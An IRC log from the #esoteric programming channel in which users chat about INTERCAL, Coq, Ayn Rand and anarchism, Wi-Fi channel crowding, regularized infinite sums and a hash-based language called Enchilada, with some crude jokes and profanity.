much better form of self-mod than limited little code modification < 1269721598 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :action at a distance is INTERCAL's niche, I think < 1269721643 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :things like DO ABSTAIN FROM CALCULATING have been around for ages < 1269721651 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :although that's /so/ global it's not that useful < 1269721658 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :CLC-INTERCAL has scoped abstentions < 1269721668 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, DO ABSTAIN #1 FROM CALCULATING followed by DO REINSTATE CALCULATING < 1269721679 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also why do I get statically charged whenever I rise up out of this chair < 1269721683 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :very strange < 1269721693 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which will abstain/reinstate without clobbering any existing abstentions, like the -72 version does < 1269721715 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I love INTERCAL's scoping mechanism so much < 1269721911 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION loads a 133 MB large pcap dump into wireshark
< 1269721915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :lets see what happens < 1269721942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ouch bad idea < 1269721947 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :swap trashing on laptop < 1269722065 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION tries to split it into several dumps
< 1269722085 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/889997.txt?key=xph638b5e1j3ea7zdtfga ;; this stuff /half/ works! < 1269722135 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269722518 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :alise, are you IRCing in OCaml or something? < 1269722574 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ircing howso? < 1269722576 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and that is Coq, not OCaml < 1269722665 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was trying to make a reference to the ;;
< 1269722689 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I glanced at an OCaml tutorial, and ;; at the end of statements is the only thing I remember < 1269722769 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehe < 1269722918 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ah. < 1269722921 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :those are lisp comments < 1269723025 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :defining setoid arrows is hard < 1269725258 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :alise: I see the problem. The definition of an equivalence relation is taking up half your code. < 1269725265 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I kid. < 1269725276 0 :adam_d!~Adam@aatl83.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1269725276 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Hey, it's the very complicated relation A = A! < 1269725278 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just ask Ayn Rand! < 1269725287 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Also, technically only Inductive Identity (T : Type) (x : T) : T -> Prop := refl : Identity x x. < 1269725289 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :is the actual definition :P < 1269725295 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The rest are really trivial theorems. < 1269725339 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I would ask Ayn Rand, but she's dead, and most of her proponents are stupid or batshit insane. < 1269725362 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :And considering she's the butt of most modern philosophers' jokes, I dare not ask them either. < 1269725440 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ayn Rand is of course an idiot. < 1269725463 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :She thought A = A was the most profound statement ever and based her entire self-aggrandising, psychopathic philosophy on it. < 1269725467 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well, was, not is. < 1269725530 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I read A = A! as "A equals A factorial" < 1269725535 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :<_< < 1269725556 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :{0, 1} E A < 1269725577 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :A bit backwards, but the best I could do < 1269725585 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A is a value, not a set. < 1269725585 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Wait < 1269725589 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps you meant: < 1269725594 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :E = 0 \/ E = 1 < 1269725595 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I got it wrong, it's 1,2 < 1269725601 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That also < 1269725619 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :20:30 < alise> She thought A = A was the most profound statement ever and based her entire self-aggrandising, psychopathic philosophy on it. < 1269725620 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Or A in {1,2}. < 1269725621 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION meant the E to be a backwards.. membership thing
< 1269725623 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise: where can I read this? < 1269725659 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: The backwards E is "there exists" < 1269725677 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Not literally backwards E. More like a curved backwards E < 1269725679 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :faxObjectivism states that "Existence exists" and "Existence is Identity." To be is to be "an entity of a specific nature made of specific attributes." That which has no attributes does not and cannot exist. Hence, the axiom of identity: a thing is what it is. Whereas "existence exists" pertains to existence itself (whether something exists or not), the law of identity pertains to the nature of an object as being necessarily distinct from other objects < 1269725679 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(whether something exists as this or that). As Rand wrote, "A leaf ... cannot be all red and green at the same time, it cannot freeze and burn at the same time. A is A."[9] < 1269725700 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: A \in {0, 1} or {0, 1} \in A? < 1269725700 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise I mean a book or what? < 1269725701 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :But it can be green and have cells at the same time. < 1269725711 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: what ayn rand? < 1269725714 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :you want to read ayn rand? < 1269725723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do you have the /patience/ for that many thousands of pages of nonsense? < 1269725724 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise, yes about A = A < 1269725735 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ooh, TVTropes has a really clever CAPTCHA < 1269725736 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :do you really want to sit through the rape-is-awesome scenes? < 1269725745 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION had to read, um, Anthem I think, for school
< 1269725757 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's http auth, which states the password in the login dialog < 1269725761 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Suicide is the only option. < 1269725767 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :The one where the boy discovers a light-bulb-box thing, and the scientist people of the time threaten to destroy it < 1269725782 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Such a poorly written book. < 1269725796 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION may be describing it poorly
< 1269725798 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: It was at least a short work of hers. A mere few hundred pages. < 1269725814 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: I, too, had to read that book. It sucked ass. < 1269725828 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"This is my favourite Ayn Rand novel. It blows." < 1269725833 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't remember having an opinion in particular
< 1269725858 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Other than that yes, the society that Ayn Rand describes is dystopian < 1269725867 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :I would've made them opt for some good-ole Huxley. < 1269725894 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Having people be able to take credit for things is not a bad thing. < 1269725917 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: She considers that dystopian society the result of having government. < 1269725924 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Just... *Having* government. < 1269725940 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269725941 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION blinks
< 1269725945 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269725962 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Your government just forced you to read an anarchist screed. < 1269725976 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I have anarchistic tendencies but make no mistake: anarcho-capitalism is not anarchism. < 1269725978 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :of course, editing TV Tropes is a sign of a deliberate choice to have your life sucked in, I suspect < 1269725993 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Well... Yeah... < 1269726079 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I thought we were an anarcho-syndicalist commune. < 1269726089 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: XD < 1269726093 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1269726097 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION would tend to prefer something that didn't need various patches
< 1269726108 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :No, we're mutalist. < 1269726108 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Just so we can be more obscure and esoteric. < 1269726118 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, you're talking about Ayn Rand. < 1269726122 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :And will only ever support something that has a non-violent transition plan. < 1269726124 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :No wonder so much retardation has invaded the channel. < 1269726130 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I'd say we're actually more like anarcho-anarchism, by which I mean that everyone does what the fuck they want because they can't hurt anybody else. < 1269726141 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :CAN'T? < 1269726147 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Sounds like the world of Prime Intellect < 1269726167 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: Anarchism will probably never have a non-violent transition plan, as the whole point is that capitalism will use violent measures to maintain it. < 1269726168 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*itself < 1269726172 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :I don't know why the author made it seem dystopian. To me, it would be Heaven. < 1269726180 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I wouldn't say that's anarchism's fault... < 1269726199 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269726238 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Aren't anarchism and capitalism orthogonal? < 1269726285 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :When you start talking about such things you have to start distinguishing "government" from any other form of social structure, but that distinction becomes meaningless very fast. < 1269726309 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :In lack of a formal government, any form of social structure will soon become an effective government. < 1269726336 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :but MONEY IS NATURAL < 1269726338 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :or something < 1269726364 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In particular, the corporations that will form to provide basic services will soon function as a form of government. < 1269726381 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :GOVERNMENT IS INEVITABLE < 1269726381 0 :tombom!unknown@unknown.invalid PRIVMSG #esoteric :but it's capitalist, it's all ok < 1269726383 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :MUAHAHAHAAHAH < 1269726416 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :More than likely a form of feudalism, but it's a complete and utter crapshoot what would actually happen. < 1269726418 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1269726486 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how comes all the wlan channels except channel 13 are overcrowded around here... < 1269726488 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :strange < 1269726505 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION uses channel 13 for his router, and so does one other AP
< 1269726615 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Beats me. < 1269726623 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hmm. Which country are you in?\ < 1269726642 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :sweden < 1269726644 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Aren't anarchism and capitalism orthogonal? < 1269726645 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269726649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise beat me to it < 1269726660 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :they are mutually exclusive < 1269726672 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Beats me. < 1269726674 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, are they? < 1269726675 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Indeed but anarchism is more the opposition to government than the belief that it can be completely eliminated for all time. < 1269726678 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269726694 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :channel 6 and 11 btw seems to be the most over populated < 1269726703 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :"anarcho-capitalism" is just a silly lie invented by proponents of laissez-faire < 1269726711 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in total there are 43 networks visible from walking around this floor < 1269726719 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In the US, channel 13 is more regulated than the rest (requires lower power gain, because it buts up against licensed spectrum) < 1269726719 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(not all are visible from any given point) < 1269726745 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, not so in EU afaik < 1269726758 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Anarcho-capitalism, AKA "Lalala capitalism is god, hail Adam Smith" < 1269726807 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Ripple is possibly the closest thing to anarcho-capitalism that could work. < 1269726817 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :As an aside, I find the "hail Adam Smith" stuff pretty funny. < 1269726820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also, compared to my last scan a few months ago there are fewer WEP and fewer open, a lot more WPA, but the same number of WPA2 < 1269726836 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... He was a proponent of various forms of welfare, in addition to a market economy. < 1269726887 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh also some people seem to shut off their wireless in the evening < 1269726903 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :did a number of scans today, and it went down by half in the last hour < 1269726942 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION misread that as "scams"
< 1269727008 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :har < 1269727062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :also I'm really curious about that hidden ssid that I have never seen any clients connected to. Could be that the client's have too weak signals for it to reach me I guess < 1269727439 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm... my rule 34 test case seems to be holding up < 1269727446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, oh? < 1269727453 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :the standard "proof" of rule 34 is that there is porn of every Pokémon in existence < 1269727460 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, there is+ < 1269727461 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269727464 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :s/+/?/ < 1269727471 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and apparently the Pokémon that was recently announced as being in the next games has already been involved in this < 1269727480 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :to the extent that it's being marked as a prime example in TV Tropes < 1269727494 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(I check there to verify existence, rather than searching myself; it seems someone else is doing the same measurements) < 1269727494 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1269727508 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I thought you never visited tv troupes? < 1269727512 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you told me so before < 1269727516 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I visit it in bursts < 1269727519 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and I'm on one at the moment < 1269727525 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :tropes* < 1269727527 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I decide that this is a moment where I don't mind spending hours on it < 1269727541 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1269727543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, you told me before that you had *never visited* it though < 1269727545 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :was quite recently < 1269727547 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and then I just decide to stop looking after a while, bookmarking all the pages I'm on so I can find them again < 1269727552 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: at that point, I had never visited it < 1269727557 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I've only been on three bursts altogether < 1269727576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, did you get stuck in those cases? XD < 1269727584 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no < 1269727587 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1269727594 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :at least, yes but I planned to in advance < 1269727596 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so that isn't really getting stuck < 1269727601 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :har < 1269727654 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :nice topic < 1269727734 0 :almya!~chatzilla@Mix-Lyon-302-2-237.w193-248.abo.wanadoo.fr JOIN :#esoteric < 1269727804 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :according to fax, pi = 2*((inf!!^4)/(inf!^2)) < 1269727822 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://pastebin.tlhiv.org/MBFEx5L2 (send to latex previewer then click preview, popup) < 1269727825 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, inf!!? < 1269727833 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The factorial of the factorial of infinity < 1269727837 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*infinity. < 1269727847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what does the factorial of infinity even mean? < 1269727853 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Precisely! < 1269727856 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :What is it again fax? < 1269727913 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :double factorial of infinity = 2*4*6*8*10*... < 1269727915 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I know that there are series that goes on forever that makes up pi < 1269727918 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Surely we can figure it out based on the equation < 1269727930 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fax, is that a common definition of it? < 1269727948 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I would have expected some product or sum sign or such for it < 1269727956 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to write it out I mean < 1269727986 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, what is that 2^inf though? < 1269728004 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :2*2*... forever? < 1269728015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ask fax < 1269728020 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and isn't that just infinity then < 1269728024 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I don't pretend to understand his infinitarian musings < 1269728031 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(though common sense seldom works for infinity) < 1269728045 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I am NOT an infinitarian!!! < 1269728062 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION googles "infinitarian"
< 1269728069 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Which infinity? < 1269728090 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :infinity = 1+1+1+1+... = -1/2 < 1269728090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :dixon, it just used to 90° rotated 8 < 1269728093 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so hard to tell < 1269728099 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it was aleph_0 or some other < 1269728157 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Mebbe he was talking about the cardinality of the continuum < 1269728212 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : infinity = 1+1+1+1+... = -1/2 < 1269728222 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so the infinite chain of successors < 1269728232 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is the only infinite natural - presuming we allow infinite nestings of constructors < 1269728238 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which we must to have infinity < 1269728273 0 :almya!unknown@unknown.invalid PRIVMSG #esoteric :omg! a math chan! < 1269728281 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :almya where?? < 1269728285 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :almya: programming actually... but < 1269728289 0 :almya!unknown@unknown.invalid PRIVMSG #esoteric :here < 1269728292 0 :almya!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1269728294 0 :almya!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269728296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well esoteric programming < 1269728302 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :which is close enough to mathematics... when it's good, that is < 1269728341 0 :almya!unknown@unknown.invalid PRIVMSG #esoteric :there are esoteric programming theories ? < 1269728354 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :probably >_> < 1269728384 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The theory of Brainfuck: every esolanger has developed at least one Brainfuck derivative. < 1269728384 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269728403 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm, _have_ i done that now < 1269728407 0 :almya!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269728416 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hasn't
< 1269728421 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION cannot recall, but it's so easy to do that he may have forgotten it
< 1269728425 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :i have implemented barinfuck < 1269728451 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I should make a brainfuck < 1269728452 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :now < 1269728518 0 :almya!unknown@unknown.invalid PRIVMSG #esoteric :is all that language agnostic ? < 1269728533 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i have developed two :( < 1269728552 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Indeed, we are language agnostic. We are in doubt but apathetic about the existence of languages. < 1269728578 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats pikhq for stealing his joke -----###
< 1269728578 0 :rapido!~robbert@ip545144bf.direct-adsl.nl JOIN :#esoteric < 1269728654 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :is my language is esoteric?: http://www.enchiladacode.nl ... you decide < 1269728687 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oerjan < 1269728718 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rapido: looks far too well-developed to be esoteric :D < 1269728771 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Far too usable. < 1269728774 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :i think to most interesting esoteric languages are extremely well-developed to be different < 1269728777 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION had this strange impression there was an enchilada language on the wiki
< 1269728809 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: you insult me! - usable? - nah < 1269728822 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but no < 1269728826 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION shoves Befunge at you
< 1269728826 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :rapido -- it doesn't look esoteric but I just glanced < 1269728907 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :the esoteric bit is that it would be very difficult to compile enchilada to efficient machine code < 1269728928 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :but i guess most esoteric languages have that property < 1269728951 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aaahh!! so the product of all the prime numbers = 4pi^2 < 1269728952 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :may be not < 1269728971 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: Many languages are difficult to compile efficiently. < 1269728998 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :rapido: befunge has that as a design feature < 1269729002 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Many commonly used languages cannot readily be compiled to machine code, for that matter. < 1269729010 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... Without including an eval function, that is. < 1269729045 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: enchilada's eval is always there - always < 1269729049 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : The theory of Brainfuck: every esolanger has developed at least one Brainfuck derivative. <-- err actually I'm a counter example too < 1269729057 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm wait cpressey has burrito, maybe he has an enchilada too < 1269729070 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have of course implemented brainfuck though < 1269729075 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :um burro not burrito < 1269729078 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: you're the enchilada creator? < 1269729086 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :rapido: BTW, what makes it difficult to compile efficiently? < 1269729087 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :huh < 1269729091 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :great to meet you rapido < 1269729098 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :your language is interesting and it sucks. :) < 1269729104 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(The highest compliment I ever give to a language.) < 1269729106 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: thanks! < 1269729130 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: every unwritten term carries a hash < 1269729145 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :code = data = hashed < 1269729150 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: May I comment? Making the correctness of your language depend on the infallibility of SHA-1 is unwise. < 1269729162 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Especially as SHA-1, by definition, cannot satisfy what you ask of it: a distinct output for every distinct input. < 1269729167 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : (The highest compliment I ever give to a language.) <-- really? < 1269729173 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: Yes. < 1269729174 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I think you praised your own ones more < 1269729175 0 :rapido!unknown@unknown.invalid PRIVMSG #esoteric :alise: SHA-1 is just one choice of hash < 1269729181 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: That's because I am infallible. < 1269729185 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :rapido: But it is true of every hash. < 1269729187 0 :AnMaster!unknown@unknown.invalid PRIVMSG 